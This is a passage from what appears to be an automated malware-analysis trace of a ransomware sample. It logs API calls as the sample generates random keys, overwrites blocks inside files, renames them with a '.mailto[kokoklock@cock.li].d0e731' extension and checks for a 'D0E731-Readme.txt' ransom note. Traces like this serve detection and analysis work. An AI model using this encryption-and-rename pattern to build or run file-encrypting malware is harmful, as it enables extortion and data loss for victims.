Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" [0074.974] wcscat (in: _Dest=0x33f73a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs.mailto[kokoklock@cock.li].d0e731" [0074.974] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00001.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00001.jrs.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f73a8) returned 1 [0074.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs", dwFileAttributes=0x20) returned 0 [0074.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e32f0 [0074.975] wcscpy (in: _Dest=0x33e32f0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0074.975] wcscat (in: _Dest=0x33e32f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" [0074.975] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\d0e731-readme.txt")) returned 0x20 [0074.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e32f0) returned 1 [0074.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0074.975] RtlExitUserThread (Status=0x1) Thread: id = 714 os_tid = 0x1348 [0074.976] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00002.jrs")) returned 0x20 [0074.976] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs", dwFileAttributes=0x20) returned 1 [0074.976] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b0 [0074.977] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x1b2bfd84 | out: lpFileSize=0x1b2bfd84*=1310720) returned 1 [0074.977] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.977] ReadFile (in: hFile=0x9b0, lpBuffer=0x1b2bfd58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x1b2bfd58*, lpNumberOfBytesRead=0x1b2bfd54*=0x4, lpOverlapped=0x0) returned 1 [0074.978] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0074.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ff8 [0074.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479228 [0074.978] NtQuerySystemTime (in: CurrentTime=0x1b2bfd30 | out: CurrentTime=0x1b2bfd30*=132121176328784019) returned 0x0 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x145e0f87 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x7d6b5a01 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xf2dd5a4a [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x11dd80be [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x8abad2f8 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xeee26868 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xc2570d93 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x1288be7d [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xf3b09425 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x9a2451a [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xe7693514 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xe5ae064e [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x3d309cc5 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x8c9fb52b [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xd1afe45c [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x80201626 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x66c0816a [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x2bf32e19 [0074.978] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x7c3989a2 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x9994d7a1 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x97014e8b [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x7b0fef20 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x65eb4e1e [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x49793f02 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xc9a2d5a6 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x65d43588 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x3e192622 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0x316ae47f [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xe916a4a [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xb2bddf32 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xd8081fe4 [0074.979] RtlRandom (in: Seed=0x1b2bfd3c | out: Seed=0x1b2bfd3c) returned 0xd790e54b [0074.990] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.990] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0074.991] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0074.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d78 [0074.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0074.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.991] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0074.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0074.992] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.992] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0074.993] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0074.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0074.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0074.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0074.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0074.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f80 [0074.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fa8 [0074.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fa8) returned 1 [0074.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0074.994] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0075.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0075.003] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.003] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0075.003] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0075.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0075.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479188) returned 1 [0075.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0075.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0075.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ee0 [0075.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ee0) returned 1 [0075.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0075.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0075.004] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b2bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b2bfcf0*=0x4096, lpOverlapped=0x0) returned 1 [0076.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0076.980] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b2bfd4c, lpOverlapped=0x0 | out: lpBuffer=0x3478d78*, lpNumberOfBytesWritten=0x1b2bfd4c*=0x20, lpOverlapped=0x0) returned 1 [0076.981] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478f80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b2bfd4c, lpOverlapped=0x0 | out: lpBuffer=0x3478f80*, lpNumberOfBytesWritten=0x1b2bfd4c*=0x20, lpOverlapped=0x0) returned 1 [0076.981] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b2bfd4c, lpOverlapped=0x0 | out: lpBuffer=0x3478df0*, lpNumberOfBytesWritten=0x1b2bfd4c*=0x20, lpOverlapped=0x0) returned 1 [0076.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0076.981] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x3479160*, lpNumberOfBytesWritten=0x1b2bfd54*=0x8, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x9b0, lpBuffer=0x1b2bfd6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x1b2bfd6c*, lpNumberOfBytesWritten=0x1b2bfd54*=0x4, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1b2bfd54*=0x4, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x9b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1b2bfd54*=0x6c, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478ff8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x3478ff8*, lpNumberOfBytesWritten=0x1b2bfd54*=0x20, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b2bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1b2bfd54*=0x4, lpOverlapped=0x0) returned 1 [0076.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0076.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0076.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479160) returned 1 [0076.982] CloseHandle (hObject=0x9b0) returned 1 [0076.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f7fd8 [0076.982] wcscpy (in: _Dest=0x33f7fd8, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" [0076.982] wcscat (in: _Dest=0x33f7fd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs.mailto[kokoklock@cock.li].d0e731" [0076.982] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00002.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00002.jrs.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.983] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7fd8) returned 1 [0076.984] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs", dwFileAttributes=0x20) returned 0 [0076.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e32f0 [0076.984] wcscpy (in: _Dest=0x33e32f0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0076.984] wcscat (in: _Dest=0x33e32f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" [0076.984] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\d0e731-readme.txt")) returned 0x20 [0076.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e32f0) returned 1 [0076.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c9d00) returned 1 [0076.984] RtlExitUserThread (Status=0x1) Thread: id = 715 os_tid = 0x134c [0075.011] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbtmp.log")) returned 0x20 [0075.011] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log", dwFileAttributes=0x20) returned 1 [0075.011] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4 [0075.012] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0x1b33fe98 | out: lpFileSize=0x1b33fe98*=1310720) returned 1 [0075.012] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x13fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.012] ReadFile (in: hFile=0x9b4, lpBuffer=0x1b33fe6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x1b33fe6c*, lpNumberOfBytesRead=0x1b33fe68*=0x4, lpOverlapped=0x0) returned 1 [0075.014] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0075.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e40 [0075.014] NtQuerySystemTime (in: CurrentTime=0x1b33fe44 | out: CurrentTime=0x1b33fe44*=132121176329096568) returned 0x0 [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x6c6bbc44 [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x19ad359f [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x36664ad8 [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xc566279a [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x6695da2e [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xb5e139a2 [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x224ac716 [0075.014] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xc0de9636 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xab98c749 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x906b93da [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x15e5570 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x1838297 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x95e3bb68 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xb461d255 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x85bf53f5 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x6d6af1fb [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xc8d40582 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x2bfd5200 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x24851b2f [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x57228089 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x787a1c93 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x71114628 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x3ddaa42a [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x7b323e15 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xa5e92b9d [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xf729124a [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x438e6c7d [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xa6ebd485 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xe8b6a8b9 [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xaf92ac8b [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0x6b96b3a [0075.015] RtlRandom (in: Seed=0x1b33fe50 | out: Seed=0x1b33fe50) returned 0xec29f62 [0075.027] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.027] ReadFile (in: hFile=0x9b4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.028] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0075.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479070 [0075.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479070) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0075.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ee0 [0075.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f08 [0075.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478f08) returned 1 [0075.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0075.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.029] WriteFile (in: hFile=0x9b4, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0075.029] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.029] ReadFile (in: hFile=0x9b4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.030] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.030] RtlAllocateHeap 